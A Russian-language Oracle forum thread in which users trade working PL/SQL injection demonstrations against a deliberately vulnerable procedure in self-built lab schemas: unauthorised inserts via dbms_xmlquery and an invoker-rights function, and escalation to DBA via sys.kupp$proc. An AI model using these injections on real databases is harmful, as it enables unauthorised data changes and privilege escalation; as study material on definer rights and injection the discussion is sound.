Добро пожаловать в форум, Guest  >>   Войти | Регистрация | Поиск | Правила | В избранное | Подписаться
Все форумы / Oracle Новый топик    Ответить
 Sql инъекция в Oracle 12c  [new]
SoratoMan
Member

Откуда:
Сообщений: 4
Доброго времени суток! Есть известная работа Дэвида Литчфилда, описывающую использование sql - инъекции для получения полномочий dba: http://www.davidlitchfield.com/Exploiting_PLSQL_Injection_on_Oracle_12c.pdf.
В работе предложен пример, демонстрирующий использование незащищенной процедуры, созданной пользователем sys. Соответственно, имея только доступ к этой процедуре и create session привилегию мы можем делать всё, что душе угодно.
Проблема в следующем:
Пусть уязвимая процедура vulnProc создана не пользователем sys, а user1 с ролью dba.
Также есть пользователь user2, обладающий правами на использование этой процедуры, правами на создание сессии и просмотром таблиц, созданных user1.
И вот хоть убей, не могу разобраться, как использовать эту уязвимость для того, чтобы user2 смог, сделать insert в таблицу user1.
Прошу помощи и совета)
19 дек 17, 01:30    [21044271]     Ответить | Цитировать Сообщить модератору
 Re: Sql инъекция в Oracle 12c  [new]
SY
Member

Откуда: Middlebury, CT USA
Сообщений: 10051
Для начала - процедура/функция/пакет по умолчанию создается c DEFINER RIGHTS котoрый означает процедура выполняется под security domain владельца с привилегиями данными владельцу напрямую а не через роли (роли игнорируются и при компиляции, кстати независимо от DEFINER RIGHTS или INVOKER RIGHTS). Так-что есть ли у user1 DBA или нет значения не имеет.

SY.

Сообщение было отредактировано: 19 дек 17, 01:51
19 дек 17, 01:49    [21044279]     Ответить | Цитировать Сообщить модератору
 Re: Sql инъекция в Oracle 12c  [new]
SoratoMan
Member

Откуда:
Сообщений: 4
Спасибо, буду знать)
Но суть вопроса от того не меняется. Или, быть может, кто-то знает другие способы провести инъекцию при заданных условиях?
19 дек 17, 02:28    [21044290]     Ответить | Цитировать Сообщить модератору
 Re: Sql инъекция в Oracle 12c  [new]
dbms_photoshop
Member

Откуда: sqlmdx.net
Сообщений: 5151
SoratoMan
Пусть уязвимая процедура vulnProc создана не пользователем sys, а user1 с ролью dba.
Также есть пользователь user2, обладающий правами на использование этой процедуры, правами на создание сессии и просмотром таблиц, созданных user1.
И вот хоть убей, не могу разобраться, как использовать эту уязвимость для того, чтобы user2 смог, сделать insert в таблицу user1.
Прошу помощи и совета)

Создаем пользователей
drop user u1 cascade;
drop user u2 cascade;

create user u1 identified by 1;
grant create session, connect to u1;
grant dba to u1;

create user u2 identified by 1;
grant create session, connect to u2;

U1
connect u1/1
create or replace procedure p(p in varchar2) as
result int;
begin
execute immediate 'select count(*) from dual where '||p||' = 1' into result;
dbms_output.put_line(result);
end;
/
create table t as select 0 id from dual;
grant select on t to u2;
grant execute on p to u2;

U2
SQL> connect u2/1
Connected.
SQL> set serveroutput on
SQL> exec u1.p(q'#dbms_xmlquery.newcontext('declare pragma autonomous_transaction; begin insert into t values (1); commit; end;')#');
0

PL/SQL procedure successfully completed.

SQL> select * from u1.t;

        ID
----------
         0
         1
На 12с лавочку прикрыли.
19 дек 17, 03:57    [21044322]     Ответить | Цитировать Сообщить модератору
 Re: Sql инъекция в Oracle 12c  [new]
dbms_photoshop
Member

Откуда: sqlmdx.net
Сообщений: 5151
Just for fun

Создаем пользователей
drop user u1 cascade;
drop user u2 cascade;

create user u1 identified by 1;
grant create session, connect to u1;
grant dba to u1;
grant execute on sys.kupp$proc to u1;

create user u2 identified by 1;
grant create session, connect to u2;

U1
connect u1/1
create or replace procedure p(p in varchar2) as
result int;
begin
execute immediate 'select count(*) from dual where '||p||' = 1' into result;
dbms_output.put_line(result);
end;
/
grant execute on p to u2;

U2
SQL> connect u2/1
Connected.
SQL> exec u1.p(q'#sys.kupp$proc.create_master_process('execute immediate ''grant dba to u2'';')#');

PL/SQL procedure successfully completed.

SQL> drop user u1 cascade;
drop user u1 cascade
*
ERROR at line 1:
ORA-01031: insufficient privileges


SQL> connect u2/1
Connected.
SQL> drop user u1 cascade;

User dropped.
19 дек 17, 04:09    [21044325]     Ответить | Цитировать Сообщить модератору
 Re: Sql инъекция в Oracle 12c  [new]
SY
Member

Откуда: Middlebury, CT USA
Сообщений: 10051
SoratoMan
Спасибо, буду знать)
Но суть вопроса от того не меняется. Или, быть может, кто-то знает другие способы провести инъекцию при заданных условиях?


Если user2 имеет CREATE PROCEDURE, то:

drop user u1 cascade;
drop user u2 cascade;
create user u1 identified by u1
default tablespace users
quota unlimited on users;
grant create session, create table,create procedure to u1;
create user u2 identified by u2;
grant create session,create procedure to u2;
connect u1@pdb1sol12/u1
CREATE OR REPLACE
  PROCEDURE VULNERABLE_PROC(P VARCHAR2)
    IS
        N NUMBER;
    BEGIN
        EXECUTE IMMEDIATE 'SELECT COUNT(*) FROM USER_OBJECTS WHERE OBJECT_NAME = ''' || P || ''''
          INTO N;
        DBMS_OUTPUT.PUT_LINE(N);
END;
/
GRANT EXECUTE ON VULNERABLE_PROC TO U2;
CREATE TABLE TBL1(ID NUMBER);
GRANT SELECT ON TBL1 TO U2;
connect u2@pdb1sol12/u2
CREATE OR REPLACE
  FUNCTION INJECT(
                  P_ID NUMBER
                 )
   RETURN VARCHAR2
   AUTHID CURRENT_USER
   IS
       PRAGMA AUTONOMOUS_TRANSACTION;
   BEGIN
      EXECUTE IMMEDIATE 'INSERT INTO U1.TBL1 VALUES(:1)'
        USING P_ID;
    COMMIT;
    RETURN NULL;
END;
/
GRANT EXECUTE ON INJECT TO U1;
EXEC U1.VULNERABLE_PROC('TBL'' || U2.INJECT(99) || ''1')
SELECT  *
  FROM  U1.TBL1;

        ID
----------
        99
        99

SQL>


Правда в 12C этого можно избежать через INHERIT PRIVILEGES.

SY.
19 дек 17, 05:35    [21044341]     Ответить | Цитировать Сообщить модератору
 Re: Sql инъекция в Oracle 12c  [new]
SoratoMan
Member

Откуда:
Сообщений: 4
Спасибо большое за советы)
Но уже из вредности хочется разобраться как применить код из статьи не для sys.
19 дек 17, 23:05    [21047185]     Ответить | Цитировать Сообщить модератору
 Re: Sql инъекция в Oracle 12c  [new]
dbms_photoshop
Member

Откуда: sqlmdx.net
Сообщений: 5151
SoratoMan
Спасибо большое за советы)
Но уже из вредности хочется разобраться как применить код из статьи не для sys.
Где ты увидел sys кроме моего трюкачества с sys.kupp$proc и что ты понимаешь под "не для sys"?

В плане увеличения сложности можешь разобрать
1) сначала скрипт SY
2) потом мой с dbms_xmlquery.newcontext
3) и в последнюю очередь с sys.kupp$proc

(1) и (2) это просто возможность воспользоваться правом другого пользователя на его объекты через инъекцию,
а (3) - это типичный случай sql injection privilege escalation, но наличие гранта на sys.kupp$proc совсем не типично.
20 дек 17, 01:37    [21047363]     Ответить | Цитировать Сообщить модератору
 Re: Sql инъекция в Oracle 12c  [new]
SoratoMan
Member

Откуда:
Сообщений: 4
dbms_photoshop,
Вопрос задавался ради достижения 2 целей:
1) Увидеть примеры Sql-инъекций, с чем вы и SY любезно помогли)
2) Узнать, как модифицировать код из статьи для применения к процедуре, созданной не под sys.
20 дек 17, 03:53    [21047428]     Ответить | Цитировать Сообщить модератору
 Re: Sql инъекция в Oracle 12c  [new]
dbms_photoshop
Member

Откуда: sqlmdx.net
Сообщений: 5151
SoratoMan
Узнать, как модифицировать код из статьи для применения к процедуре, созданной не под sys.
Читай в FAQ про права через роль до полного просветления.
20 дек 17, 13:51    [21048559]     Ответить | Цитировать Сообщить модератору
Все форумы / Oracle Ответить